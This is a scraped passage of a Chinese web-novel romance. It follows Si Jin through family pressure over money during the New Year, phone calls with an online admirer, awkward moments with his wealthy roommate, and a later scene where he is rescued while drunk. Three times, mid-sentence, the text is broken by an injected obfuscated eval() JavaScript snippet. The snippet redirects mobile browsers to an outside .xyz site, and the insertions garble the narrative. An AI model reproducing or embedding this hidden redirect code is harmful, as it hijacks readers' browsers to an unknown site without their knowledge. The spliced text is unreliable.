封阿姨:【麻烦你了小谨,我们为人父母,自己孩子跑到外地去创业,真的也很担心】 司谨没有多犹豫,连忙答应了下来。 第二天天还没亮,司谨便跟着司鹏的车去接新娘,一整天忙上忙下没个停,等到婚宴终于结束,司志义和李美花在大院里头牵着司鹏的媳妇笑得开心,司谨只当自己是局外人。 几天的时间过得索然无味,司谨每天也没什么事情可以做,过年串了两天亲戚便开始闲下来。 宋晓西没有回家,但是似乎最近谈了场恋爱,所以也见不到踪影。 从前关系还不错的同学和同事发来了拜年消息,司谨逐一回复,给封阿姨拜完年以后秒收到红包,在对面的软磨硬泡下他还是收了,这才想到可以再给自己的室友拜个年。 想了想,他只发了一句新年快乐。 燕绥安:【新年快乐】 本以为就这么结束,可燕绥安紧接着又发了一条新消息来。 【什么时候回来?】 其实这用词有些奇怪,毕竟大多数人只会将家为目的地的行程叫做回。 但司谨没有在意,含糊回答他过几天。 燕绥安发了个OK的表情,就这么结束了聊天。 他们之间本来就没什么聊的,司谨也丝毫不惊讶,只是在心底计划着要给燕绥安带一些特产回去,其实他能看出燕绥安应该自己不会做饭,毕竟他经常看见燕绥安点外送,如果之后他有时间的话,可以在家里做点早饭,希望燕绥安不会嫌弃。 前几天他都没时间玩访心,和随便都没聊过多少天,这会儿点开,聊天页面果然已经多了很多的消息提示。 随便:【过年好无聊,不想出门】 随便:【宝宝忙完了吗?婚礼热不热闹】 随便:【总觉得比上班还忙】 随便:【宝宝,早上好】 随便:【烦小孩】 司谨划到最上面,将所有消息都看完,眼角止不住透出了笑意。 有时候他觉得随便看起来很稳重老成,可有些时候又显得脾气很大,像不成熟的小孩子。 北极生活的小熊猫:【婚宴已经结束了,之后没有什么事情要我忙,我二姐这两天就要回市区了,我过几天也要去海城,先趁着还没开始上班,收拾一下家里】 他刚将之后的计划发完,还没等到随便的消息回复,就听见房间外面传来了熟悉的脚步声。 没多犹豫,他将手机合上塞进口袋里,心中下意识就升起了一阵紧张感。 其实他已经不是小孩了,在房间里面玩手机不会挨骂,可他就是觉得很不安。 老家的房子很空荡,他的房间是背阳的,从窗户可以看见外面阳光很好,但他身上却满是凉意,等外头的脚步声逼近了,房门被直接拧开,李美华一进门跟他对上视线的时候很明显愣了愣。 “在干嘛呢?” 司谨摇摇头:“没干嘛,怎么了。” 他知道,这几天李美华都撺掇着司鹏哄着大嫂赶紧要个孩子,还要带着大嫂串门叫大家都认识认识,如果没什么事情的话是不会来找他的。 心中已经有了猜测。 李美花掩上门进来,那张淳朴的脸上带着点儿小心翼翼。 她在司谨床边坐下,试探着问:“听你爸上次回来说,你在外头混得还不错,住的房子都很高档。” “没有的。”司谨就知道司志义肯定要这么说,他忽然明白了为什么司鹏这些天用那种奇怪的眼神看着他,显然是嫉妒了。 李美花啧他:“你过得好我们都高兴啊,还藏着掖着什么,哪有跟爸妈都要瞒着的。” 司谨微微皱眉:“真的没有,我刚转正不久,工作日要在公司上班,周末还要去餐馆里当服务生,现在的房子都是临时找的,我马上就要搬走……” 李美花不解:“你老搬来搬去做什么?” 司谨将之前被房东赶出来的事情告诉了她,又跟她说了现在住的房子有点贵。 李美花一听便炸了:“哪有这样的嘞,你不跟人家争一争的?真的是胆子太小了,他吵就吵好咯,你不听不就行了……” 她越是这么说,司谨就越是头疼。 只是他也在心底责怪自己,他明明知道李美华理解不了,可是却还是忍不住将这些事情告诉她。 李美花总是说他懦弱胆子小,可小时候也是李美华不让他拒绝任何事情,对于一些安排稍有不满都要被大骂一顿,现在到了外面,却希望他摇身变得独立又自信。 深深叹了口气,司谨觉得很疲惫。 李美花似乎一会儿察觉到自己说太多了,半天只说:“那你又要搬到哪里去哦,搬家也要花钱,你大姐说的也对,回家里来是最好的,好歹还是自己熟悉的地方。” 司谨不再跟她聊这些,只问:“找我还有其他事情吗?” 李美花一顿,似乎才想起来自己的要紧事,忙道:“我是想说嘞,你大哥这次结婚家里也花了不少,但是你大嫂那边讲的是除了彩礼,明年还要在城里给他们买一套房子,一人家里出一半,你爸爸本来就生病了这几个月都没上班,我们的钱哪里够……” “所以就是要钱?”司谨垂下眼眸,有些心凉。 李美花摩挲了一下身上的围裙,说:“你在大城市里头上班,肯定也攒了自己的积蓄,你大哥也讲了,他不要你们的钱,他就只是借,以后肯定会还的。” 司谨觉得这话还挺好笑的:“我刚出社会一年,哪来的钱。” “上回不是还给你二姐打了钱。”李美花明显不信。 司谨有些疲惫,叹了口气:“那就是全部了,我真的没有钱。” 听他这么说,李美花便变了脸色:“司谨,我们养你这么大,那可是你亲哥啊,他要是买不成房子,你嫂子要跟他离婚怎么办?你就想看着他们家庭不幸福是不是?” 司谨:“……” 又是扯了十分钟,李美花一毛钱没拿到,便失望起身离开了。 司谨站在窗前愣神,好半天看见窗户下面的小路走过一道身影,是李美花气冲冲朝着亲戚家去。 从小到大好像都是这样,小时候家里穷苦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035222|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候司志义去外地上班,家里没钱用了,司鹏要报补习班,李美花也是这样走街串巷去别人家借,现在他们几个都长大了,司志义和李美花又开始为了大儿子的未来努力。 他知道李美华肯定已经在大姐二姐那借了个遍,现在没办法只能去找自己的姐妹妯娌想办法。 心情一下子变得压抑,他忽然就觉得自己这次也不该回来。 还没在房间里待多久,便听见楼下传来一阵吵闹声。 是父亲和二姐在争执。 司谨微怔,出了房间下楼,正好看见二姐拖着行李箱往门口走,而大姐正试图拉着他。 “让她走!大过年的在这瞎闹,真是晦气!”司志义站在房檐下,满脸怒意。 大姐回过头,有些着急:“爸,你少说几句行不行啊?淑美好不容易回来一趟,现在学校也还没开课,她回去了住在哪里?” 司志义一听反而更得意了:“她嫌自己老家,就滚出去住!” 司谨忍不住皱眉,快步出去,就见二姐推开了大姐的手。 “谁稀罕回来啊?每次一回来要么要钱,要么就给我介绍对象,你们是不是觉得我傻?想用我的彩礼给大哥买房子,当我是怨种吗?”司淑美狠狠瞪了司志义一眼,拖着行李箱直接出了门。 “淑美!” 看着大姐着急的模样,司谨悄无声息跟着出了门。 “淑英,你也别拦着她,我看看她能有什么本事,还敢跟老子呛声。”司志义厉声道。 农村的大巴车不定时会发,要走到下一个上车的地方,还需要十几分钟。 司谨好半天才追上司淑美,跟着无言走了好一会儿,看着她坚决的模样,也放弃了劝说的念头。 “你现在去市里,有地方住吗?” 司淑美看见是他,表情才缓和了些,她今天没有化妆,素白的一张脸显得有些憔悴,但依旧掩盖不了那股狠劲。 “我朋友也没回家过年,我暂时去她出租屋里头住着。” “那之后……” “我再上两个月课就毕业了,我那个老师想让我去给她当助理,到时候就不会在余城了,她那边待遇挺好的,包吃包住。”司淑美对他不会藏着掖着。 司谨点了头:“那就好,你身上钱够吗?” “嗯。” 不过多时到了车站,两人站在满是灰尘的路牌下。 沉默良久,司淑美说:“咱们都是没家的人,还是都想想自己的退路吧,你可别傻乎乎真把钱给出去了。” “我知道。”司谨也不知道该说什么了,“我也准备去海城了。” 司淑美擦擦脸,似乎是想哭:“挺好,我也想去大城市,你也别听大姐说让你回余城发展的话,她是已经习惯了在这里生活,你有能力,还是往远了走吧。” 司谨的心情有些沉重,跟小时候一样牵住她的手。 “姐,我在海城等你。” 司淑美瞧见他听话又认真的样子,破涕为笑:“好。” 送她上了车,司谨落寞在原地站了一会儿,才开始往回走。 路上空荡没什么人,他来时觉得路很短,现在一个人走却觉得很孤单。 适时,一阵陌生的铃声响了起来。 他将手机掏出,发觉是访心发来的来电申请。 看见那熟悉的头像时,他的心跳莫名有些快,可是落在挂断键的手指停顿良久,却鬼使神差挪到了另外一个按键。 16.第 16 章 接起电话,他一下子连呼吸都放轻了,那种紧张感席卷了心脏,让他止不住的加快心跳。 好半天,对面响起很细微的窸窣声,紧接着一道很低哑的声音传了出来。 “宝宝?” 是很熟悉的称呼,司谨在聊天页面见过无数次,可这还是第一次如此清晰听见。 他抿了抿嘴唇,紧张开口:“随便?你给我打电话是有事吗?” 他还是第一次知道访心还有这个功能,他以为只是一个可以聊天的软件。 “想你了。”随便的声音很哑,带着点儿低沉,“你好忙,好久不回消息。” 司谨听着他的声音,莫名有些脸热:“我刚才有事情,你是不是感冒了?” 对面很轻地咳了一声:“听出来了?” “嗯,你的声音有点哑。”司谨也不知道该怎么关心他,“冬天降温,你多穿点衣服啊。” 对面很轻地笑了声,像是有点高兴:“知道了,谢谢宝宝。” 他说完这句,两人就都陷入了安静。 司谨抿抿嘴唇,有点无措,他不知道随便给自己打电话是要说什么,这会儿一张口想要喊对方,又觉得好奇怪。 “嗯?” “叫你随便,好像不太顺口。”司谨犹豫着,不知道该怎么称呼他。 谁料对面愣了愣,却是笑了:“喊老公也可以。” 他嗓音本就沉,这会儿嘶哑的声线循着听筒传出,惹得司谨耳尖止不住泛起一阵酥麻。 微微发烫的手机似乎变成了烫手山芋,他有些不知所措,只能拧着眉小声说:“你别这样。” “怎样?” 司谨眼神不太自然地看向前方,庆幸这条小路上没什么人,嗫嚅半天才说吐出一句:“你能不能不要开这种玩笑。” 说完这话,他自己都不住愣了下,语气里头明显的委屈让他自己都觉得别扭,听着就好像在撒娇一样。 下意识要解释,随便却说:“好吧,我错了,宝宝原谅我。” “没事。” 司谨本来也没有生气。 随便主动开启了话题:“宝宝是不是心情不好?” 司谨一怔,立马回想起刚才家里爆发的争吵,那种压抑的情绪又重新涌了上来。 “没有。” 他不想和随便多说,害怕影响对方的心情。 可对面却很有耐心地继续追问:“真的吗?可是宝宝好像情绪很低落,要哭了一样,好可怜……” 最后的那句话他压低了声音,司谨没怎么听清。 “我没有要哭。”他小声解释,可说完就忍不住想叹气。 “乖宝,跟我说说好不好?” 随便在对面哄了半天,司谨也觉得再不说就显得矫情了,最后还是说了一句:“我二姐跟家里吵架了,我刚送她上车。” “是舍不得姐姐吗?”随便轻咳一声,语气很温柔。 也许是因为随便实在太有耐心了,司谨的话匣子一被打开,所有经过不知不觉就被套了个遍,等到他再反应过来,已经把一切都说了。 看着村子近在眼前,司谨吸了吸发凉的鼻子,说:“我快要到家了。” 随便:“宝宝要是不想在家里待,早点回海城也不错,反正就这几天了。” “但是我买的是后天的车票。”司谨有些沮丧。 “宝宝……” “你不要说。” 手机对面的人一张口,司谨就猜到了他想要说什么,连忙出声打断。 “就两天,我熬一熬就过去了。” 对面的随便叹口气,似乎有些失望。 “好吧,我只是不想宝宝难过。” 司谨耳尖微动,有点想象不到随便用这种委屈的语气说话的样子,会是个怎样的表情呢? “宝宝,不要难过。”随便的语气忽然变得正经了些,“能独自在大城市站稳脚跟是很厉害的一件事,哪怕你父母不支持,你也还有自己的事业,对不对?姐姐有一门自己的手艺,未来也会很优秀的,不用太担心。” 司谨听完鼻尖莫名有点发酸。 他抓着手机放慢脚步,小声说:“我不厉害的,我……” 要说的话堵在喉咙口,他忽然想到大学的时候室友每周末都回家,带回来随手赠送他的一份礼物,都需要他花很多兼职的工资来还,工作以后同事都在展望未来,考虑先买车还是买房,而他连租一个好点的房子都要纠结好几个月最后才咬紧牙关狠下心。 他很羡慕别人举止言谈都那样自信,而他却是一个拒绝别人都要学习很久的笨蛋。 “乖宝。” 恍惚中,耳边传来低哑的声线。 “你已经很棒了,没有家人的托举,能凭借自己双手养活自己的人都很不容易的,虽然我时常说你的生活质量不够高,但也只是不想让你对自己太苛刻,你真的很厉害。” 司谨抽抽鼻子,感觉眼眶有点湿润,他不是一个爱哭的人,可是这会儿却怎么也忍不住。 “我不好,你没有见过我,也不知道我是怎样的性格,其实在我身边很多人都不喜欢我,我连朋友都很少。” “怎么会没人喜欢呢?我就很喜欢宝宝啊。” 司谨抬手擦掉眼泪,小声:“那不一样。” “怎么不一样了?”随便有些不满似的,“宝宝长得好看,还那么有礼貌,不喜欢你的人都是眼瞎,别管他们。” 司谨莫名有点脸红。 “朋友在精不在多,宝宝也不是随便的人,对不对?” 司谨觉得这话有些奇怪,但还是懵懵地跟着点了头。 “你说的有道理。” “别人不喜欢就不喜欢吧,宝宝难道还想和他们打好关系?” 司谨连忙摇头:“不想。” 他最烦针对他的那些室友和同事了,最开始相处时他还抱着能够打好交道的念头,可之后明白不是一个世界的人,就避之不及了。 “那就好。” 好什么? 司谨心底疑惑,还没发问,随便就像是洞悉了他的想法,说:“宝宝不搭理他们最好,我还怕你太受欢迎了。” 听完有些想笑,司谨想说点什么,前方忽然传来大姐喊他的名字,才发觉自己不知不觉已经走到家门口。 “我到家了,先挂了。” “好吧,宝宝记得要回复我的消息,不然我会担心的。” “知道了。” 司谨从来没有跟人打过这么腻歪的电话,等挂断以后表情还有些不自然。 好在大姐正着急着二姐的情况,并没有察觉到他的不对劲。 “淑美呢?” “二姐已经上车了,她说先去朋友那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046506|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里住一阵。” 大姐听后长叹一口气,也没再说什么。 司谨知道她心情不好,估计一会儿要趁着父亲不在家给二姐通电话,便自己上楼待着去了。 直直躺在坚硬的木板床上,他盯着白花花的天花板看了许久,却发现自己的心情并没有方才看着二姐上车时那样沉重了。 随便的那些安慰虽然有些夸张,可的的确确叫他心里好受了许多,只是……对方的说话方式还是让他很不习惯。 如果可以跟随便做朋友的话,好像也是很不错的事情。 心中动了这个想法,便有些一发不可收拾了。 找出手机,他翻个身趴起来,床板发出吱嘎声响。 抿着嘴唇认真打字,他斟酌了半天用词,最后还是觉得这么问太突兀了。 正纠结删改着,对面却主动发来了消息。 随便:【宝宝,到家了吗?】 司谨犹豫着回复了一个嗯,结果下一秒手机屏幕就弹出了电话申请。 他有些头疼,觉得有些压力,但想到随便方才温柔安慰自己的模样,又不好意思拒绝。 接通,随便关心了一下他这边的情况,之后忽然话锋一转。 “宝贝。” “嗯?” 司谨下意识接话,反应过来又有点不好意思,这段时间跟随便聊太久了,他已经形成了条件反射。 好在随便并没有调侃他。 “好不容易回老家,父母会逼你相亲吗?” 司谨微怔,声音压小:“还没有,只是劝要找女朋友。” 对面的人啧了一声,听着是很不高兴。 “长辈都是这样的。”司谨解释一句,又有点好奇,“那你呢?” “你在乎吗?”随便的语气忽然低落下去,搭配着他干哑的嗓音,显得有点可怜。 司谨总觉得他在装可怜,可是又忍不住心软。 “我是在关心你啊。” 随便哼一声,说:“我妈爱催,我也不准备在家待久。” “那你……”司谨意识到什么,问:“你多大了啊?” 他才发现,从认识以来,他好像还没有问过随便的情况,除了知道对方是隔壁市的,其他的他一无所知。 “你终于知道问了。”随便语气有点怪,但还是回答他,“比你大三岁,男大三算吉利吗?” 司谨故意忽视了他的后半句:“二十四,那阿姨催你也很正常。” “……”随便有点生气,“我一会就去出柜算了。” 司谨一愣,连忙道:“你要不要好好考虑清楚,毕竟是大过年的。” “宝宝,你在担心什么?” “我没有啊。”司谨还是有点慌乱的。 其实他一直都以为随便是在开玩笑,可是现在听了才发现,随便好像是真的喜欢男的,也好像是真的对他有意思。 可他刚才还在想要怎么说服随便跟他做朋友。 “宝宝。”随便的语气冷了下来,“你该不会以为我一直在跟你闹着玩吧。” 司谨哑口无言,仿佛隔着手机都能感受到对方身上散发出来的那种怒气,可是有些事情还是要说清楚的,他觉得这样不清不楚跟对方聊天,也是一种很不负责任的行为。 深吸口气,他艰难开口。 “可是,我不太喜欢男人。” 17.第 17 章 两天后,司谨终于要离开余城。 司志义还因为他当天没有拦住二姐而不满,所以并没有来送他,在他出门前还特意跑到亲戚家打牌去了。 司谨对此并不在意,他被母亲和大姐送上大巴车,坐好以后看向窗外的女人,还是冲着她们挥手:“回去吧,等到了我给你们打电话。” “在外面好好上班,别跟人家吵嘴,吃穿也不要节省。”李美花踮着脚看他,“要是钱不够用就跟我们讲,知道吧?” 虽然知道她只是随口一说,如果真的往家里要钱肯定一分没有,但司谨还是点了头。 “知道了。” 大姐在边上稍显沉默,只是在车开始开的时候冲他招手。 “大姐,我走了。”司谨也不知道该说什么,冲着她们挥挥手,便坐回了位置上。 大巴车上的味道并不好闻,不少要回县城的人都带着在农村买的鸡鸭,用笼子装好散发着气味,还有叫声从前面一同传来。 司谨望向窗外,离家时没有那种想念不舍的感觉,只是稍有些惆怅。 他知道,以后自己回来的时间只会越来越少。 之后一路上便是忙碌转车,抵达海城已经接近天黑,他在楼下点了一份简单的小炒,吃过后付钱上楼,手机灭屏前下意识看了眼访心的图标,却没有任何红点。 他垂下眼眸,心情有点低落。 自从那天跟随便说出那句话以后,随便就挂断了电话,没有再理会过他。 虽然两人聊天只是很短的一段时光,可对于司谨来说却显得弥足珍贵,他甚至已经习惯了每天睡前和起床后和随便打招呼,现在发过去的消息只有冷淡的回答,随便的上线时间也不再像是原先那样频繁,让他很不习惯。 他也不知道好好的事情是怎么变成这样的,明明最开始跟随便聊天的时候,他还会觉得很烦恼,只觉得这是宋晓西给他的任务。 可是现在想起随便,却只觉得他是个很温柔的人,面对从未见过的人都有这样的耐心,可越是这样,司谨就越是清楚,这都是建立在随便喜欢他的基础上。 访心本身就是一个交友软件,这里的人基本都是来找对象的,即便有一些的目的并不是那么纯粹,可他知道,随便是真心的,也正是因为如此,他才更加没有底气跟随便说那些拒绝的话。 电梯门打开,司谨长叹一口气,心情止不住惆怅起来。 他也不知道随便现在是抱着什么想法,还打不打算再和他聊天。 如果这段关系真的就这么结束…… 走到2202门前,司谨闷头输入密码,心中泛起这个念头的瞬间,就有隐约的疼痛蔓延开,让他感受到了久违的难受。 他的熟悉的人并不多,好不容易有一个可以交心的人,现在又要失去了。 但是他谁也怪不了。 叮的一声开门,屋内没有开灯,一片漆黑。 司谨下意识去摁开关,但很快就想起来燕绥安也回家了,应该要先打开屋里的电闸才会来电。 正抱着这个念头,摁下开关时玄关的灯却亮了起来。 没有关电闸吗? 司谨一怔,换了鞋拎着大包小包行李进门,绕过客厅发觉落地窗打开了一扇。 狐疑回房间,走进过道却发现斜对面燕绥安的房间门正开着,他透过敞开的浴室门窥见了些许里头的装饰。 白格黑线的简洁墙面,跟外面的公卫不太一样,但看着却有些眼熟。 好像在哪见过。 司谨觉得有些奇怪,冲着里面喊了声燕绥安,但是并没有人应声。 是走的时候太匆忙了吗?门窗也没有关掉,电闸也没有打下来。 但他并不想去找燕绥安说这件事情,猜测对方正在家里面过年,便准备等他回来以后再提醒。 回到房间,简单把行李箱擦干净,将带回来的土特产都收拾好,司谨这才起身去洗澡。 一路上都在转车,他有些嫌弃自己,于是在浴室一待就是将近半小时。 将自己给收拾干净了,他习惯性抬手去放衣服的架子上取睡衣,却摸了个空。 干湿分离的浴室玻璃门外,手机还放在洗手池上播放着音乐,司谨原本轻松的心情却瞬间一沉。 完蛋,他忘记拿换洗的衣服了。 手上的毛巾只有一点大小,什么也遮不住,虽然外面没有人,可是进来的时候他并没有拉窗帘,想着自己要光着出去,还是有点不好意思。 浴室里关了水不免有些冷,司谨纠结好一会儿还是下不定决心,视线不自觉挪到了浴室玻璃门外面挂着的单薄浴袍上。 平时燕绥安都是用主卧的浴室,不知道为什么在这落了一件浴袍,看起来也不脏。 司谨纠结良久,视线在自己换下来的脏衣服和干净浴袍上挪移,最后还是强忍着羞耻将其拿起。 只是披一下,等回了房间他就立刻换下来,之后给燕绥安洗干净,燕绥安应该不会有意见吧。 仓促披上浴袍,他将腰带虚虚打了个结,抓着手机打开门,冷风吹进来的时候止不住哆嗦一下,准备回房间就和燕绥安说这件事情。 可刚绕出浴室,就看见灯火通明的客厅多了个人。 燕绥安穿着外出的衣服,修长的手指勾着口罩的一侧要摘,听见动静看过来,惊愕的同时,目光也下滑落在了司谨身上熟悉的浴袍。 “……” 司谨洗澡时间太长,脸本就被蒸得有些发红,这会儿更是因为羞耻蔓延了个的彻底。 他简直想直接去撞墙。 “对、对不起,我忘记拿换洗的衣服了,所以借用了一下你的浴袍,我现在就去换下来。” 不敢再多看,他连忙跑回房间,生怕燕绥安再多说些什么。 房门砰的一声关上,燕绥安在客厅迟缓站了一会儿,房间里头又传出了急匆匆的脚步声。 司谨换上了自己的睡衣跑出来,怀里还抱着那件浴袍,湿漉漉的眼睛里满是惊慌。 “真的不好意思,我去给你洗干净可以吗?或者你不要了的话……我赔你钱也可以。” 燕绥安盯着他看了几秒,摇了摇头,冲着他伸出手。 什么意思? 司谨都愣住了,半天没反应过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049828|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>燕绥安皱了皱眉头,似乎有些不耐烦,刚开口想说什么,却转头咳嗽了几声。 “你生病了吗?”司谨不免紧张,“喉咙不舒服?” 燕绥安重新把口罩带上,不太自在:“感冒,给我就好。” 他的声音比平时的更加低哑,让司谨觉得有点奇怪。 “我洗干净吧,正好我现在也要去洗自己的衣服,等烘干了我给你好不好?” 他实在不好意思就直接这样还回去。 谁知燕绥安听完眉头皱的更紧,语气也冷了下来:“不用,我送干洗。” 司谨抿住嘴唇,不敢再多说什么,将浴袍递到他手上。 “真的不好意思。” 他声音中满是愧疚和沮丧,说完以后便转身进了浴室,要把自己的脏衣服洗掉。 只是终于离开了燕绥安的视线范围,他的心情又止不住往下落。 燕绥安那件浴袍的材质很好,应该是害怕他洗坏吧,他想着回头问问宋晓西有什么好一点的浴袍,还给燕绥安一件好了,反正他穿过的衣服,燕绥安估计也不会想再要。 将衣服简单清洗了一遍放进洗衣机,司谨舒口气准备回房间收拾其他行李,却见燕绥安从房间里出来,将一只礼盒过来。 “送你。” 司谨一愣,看见袋子上明显的品牌logo,手指微微缩紧。 他摇头:“谢谢你的好意,但我不能收。” 上一次燕绥安的妈妈已经送了他很贵的东西,他真的不好意思再收燕绥安的礼物了。 况且他们也不是那么熟悉,根本没有必要。 燕绥安的手却没收回去,问:“为什么?” “太贵了。”司谨很紧张,但还是一字一句回答他,“真的很谢谢你,但是这份礼物对我来说太贵重,我真的不能收下。” 燕绥安似乎很不解,坚持道:“特意给你带的。” 司谨从来没有这样坚决拒绝过一个人,可是他现在心情很不好,也清楚这份礼物本就不该属于自己,所以居然也没有退缩。 “抱歉,我真的不要。”他再次重复。 燕绥安的脸色沉了下去,随手将礼盒搁在了桌柜上。 “就放在这,随你要不要。” 说完,他转身关上了房间门。 司谨手指紧紧缩着,强忍着眼眶的酸意回到了自己的房间。 被拒绝的滋味不好受,他也感受过很多次,可是他真的不能再收燕绥安的礼物了,他没有那么多钱来还礼,这样太过意不去。 他能够理解燕绥安,现在心里怪的只有自己。 他怪自己的心思太敏感,怪自己因为仓促没有好好找房子,怪他不能跟这样的室友好好相处,因为条件差别太大,总是闹出这样的笑话。 原本以为可以好好度过这半年租期,可是燕绥安现在肯定又会对他有意见。 他怎么什么都做不好。 眼泪堪堪坠在眼尾要往下掉,身后的房门却忽然被叩响。 司谨被吓了一跳,还没反应过来,就听见外面传来说话声。 “司谨,开门。” 22-30 第22章 “你谁啊?别在这多管闲事!” 谢子奇浑身酒气,看着忽然出现的男人也丝毫不怯,直接指向他怀里人:“这我同事,他喝醉了,我正准备送他回去。” 谢宇珩看着怀中已经醉了的司谨,皱了皱眉。 “怎么喝成这样?” 司谨迷迷糊糊看见他的脸,懵然喊了声:“学长。” 他的意识尚且不清醒,声音也是极小的。 谢宇珩扶着他,忍不住说教:“这么多年也没点长进吗?别人让你喝你就喝,拒绝别人就有这么难?” 他并不清楚情况,可第一反应就是觉得司谨又被人给诓骗了。 总是自讨苦吃,落得这样下场,看了就烦。 司谨眼底却尽是迷茫,好像没有听懂他在说什么,反而是对面被忽视的谢子奇怒了:“你到底谁啊?” 面前的男人穿着件浅色长风衣,一副斯文败类的样子,是那种他一看就反感的精英男。 谢宇珩微蹙眉头,冷声道:“我是他朋友,你刚才想对他做什么?” “我能对他做什么?”谢子奇耍赖,“他刚才闹着要再去酒吧续场,我带他去就是了,你从哪来打哪去。” 谢宇珩将司谨扶进怀里,说:“你真当别人没脑子,刚才你在这推推搡搡是想送他?再胡搅蛮缠,我就报警了。” 谢子奇笑了:“我是他同事,送他去想去的地方,你喊警察有什么用?我做错了——” 他的话还没说完便戛然而止,身边忽然出现一道身影,谢子奇闪避不急被踹了个正着,身体一歪便踩空从两阶矮阶梯上摔了下去。 “你他妈——” “你是司谨同事?” 燕绥安刚从酒店出来,远远就看见眼熟的身影正被个陌生男人给揽住,还没来得及生气,一靠近就听见了对面这醉鬼蛮横无理的话,顿时怒上心头。 “是啊,怎么了?你又是谁?”谢子奇狼狈爬起来。 “这么说,你也是风浪文学的编辑。” 谢子奇隐约察觉不对。 “监控应该都录下来了。” 听着男人云淡风轻的语气,谢子奇后背瞬间泛起凉意。 “我、我又没对他做什么,只是没扶稳差点让他摔一跤而已。” 燕绥安面露寒意:“你说得对,所以你这一摔也就是扯平了。” 谢子奇咬着牙站起身,感受到脚腕传来的尖锐刺痛,简直想骂娘。 这哪一样了?司谨不好好站在那吗?他刚从楼梯上滚下来都要废了! 还想说些什么,可男人已经转身离开,他只一眼便认出那人穿的衣服是自己原先装逼时咬咬牙买过的牌子,价格高昂。 这人似乎有点不简单,可……司谨一个外地来的底层打工族怎么会认识这种有钱少爷? 谢宇珩对这种喝醉的无赖向来是瞧不起的,他不屑同烂醉的男人说话,可这会儿眼前的一幕却让他怔了怔。 回神看着陌生的年轻男人朝着自己走来,心中不由升起警惕。 “你可以走了。” 燕绥安拖住司谨的手臂,正要将人抱进自己怀里,谢宇珩变了脸色。 “你谁?” 燕绥安察觉到他阻止的动作,面上覆了寒意,反问:“你又是谁?” 谢宇珩不自觉抬起了头:“我是他朋友,我送他回家就好。” “是吗?你知道他住哪?” “我——” 谢宇珩被噎住了,他的确不清楚司谨的住所位置,但他可以问宋晓西。 “既然如此就不麻烦你了。”燕绥安使了些力气,将不太舒服皱着眉的司谨揽入自己怀中,继而冲谢宇珩一笑,“我是他男朋友,我们住一起。” 谢宇珩面色骤变。 不等他再说话,燕绥安抓起司谨的手腕,将起搭在自己脖颈上。 “宝宝抱住,我们回家。” 司谨有些恍惚睁开眼,其实已经看不清楚面前的人了,但这声音很熟悉,让他感到安心,于是便乖乖照做。 “真乖。” 燕绥安拖着他的腰臀和后背,径直将人抱进了怀里,将人放上了餐厅侍者刚开出的车后座。 将人安顿好,他开上车离开。 谢宇珩站在原地,脸色止不住阴沉下去。 从前司谨在学校时跟着他跑,别人都说司谨对他有意思,他自己倒没这么觉得,主要是当初司谨表现得过分单纯,穿着打扮也土气,所以他压根没把司谨放在心上,只是对于有个人心甘情愿追在自己身后跑而得意,可之后不知道怎么的,司谨忽然不那么黏他了。 那时他冷了司谨很长一段时间,却没见对方再上门,耐不住屈尊降贵去司谨宿舍找人,却看见少年正在给室友洗衣服,当时他就有种吃了苍蝇的感觉,好像自己带大的仆人忽然背叛自己,跑到别人那开始当牛做马。 因为那回的事情,他回去以后越想越难受,所以在毕业那天才会口不择言对司谨说出那些话。 两年不见,司谨比大学时候长开了,简单打扮后居然很吸引人,谢宇珩前几天想起来都觉得震惊,可刚才那男人说司谨是和他是情侣关系,并且他们还住在一起,顿时让谢宇珩心情变得复杂。 难不成……司谨从前追着他,也是因为喜欢他? 谢宇珩紧紧咬着牙看向车离开的方向,心中滋生出比原先还要浓烈的不甘。 早知道司谨图的是这个,当初给他尝点甜头不就得了- 在红绿灯停下,燕绥安脑海中还飘着刚才看见的一幕,气得够呛。 忍不住往后看,却发觉司谨睡得正熟,倒是没有半点受到影响的样子。 真是个缺心眼! 他靠在椅背上脸色难看,没多久却又想开了。 算了,睡得香倒也好,否则醒了发现被同事排挤,估计又要心情不好。 回到家,后座的人还熟睡着,身体软的不像话,带着淡淡的酒气趴在燕绥安怀里,像是个乖巧的娃娃。 进了电梯,安静的不行,燕绥安垂着眼盯着那长长的睫毛看,视线掠过小巧平直的鼻尖和红润嘴唇,心底无端有些躁动。 好烦,睡着了好像也很漂亮。 他的手搂着司谨的腰,能够感觉到薄薄一把。 不是说吃很多吗?怎么都没长什么肉。 吃的饭都哪去了? 脑子胡思乱想着,等进了门准备换鞋将人放回房间,肩膀上的脑袋却忽然动了动。 “醒了?” 燕绥安心底咯噔一下,犹豫要不要先将人放下。 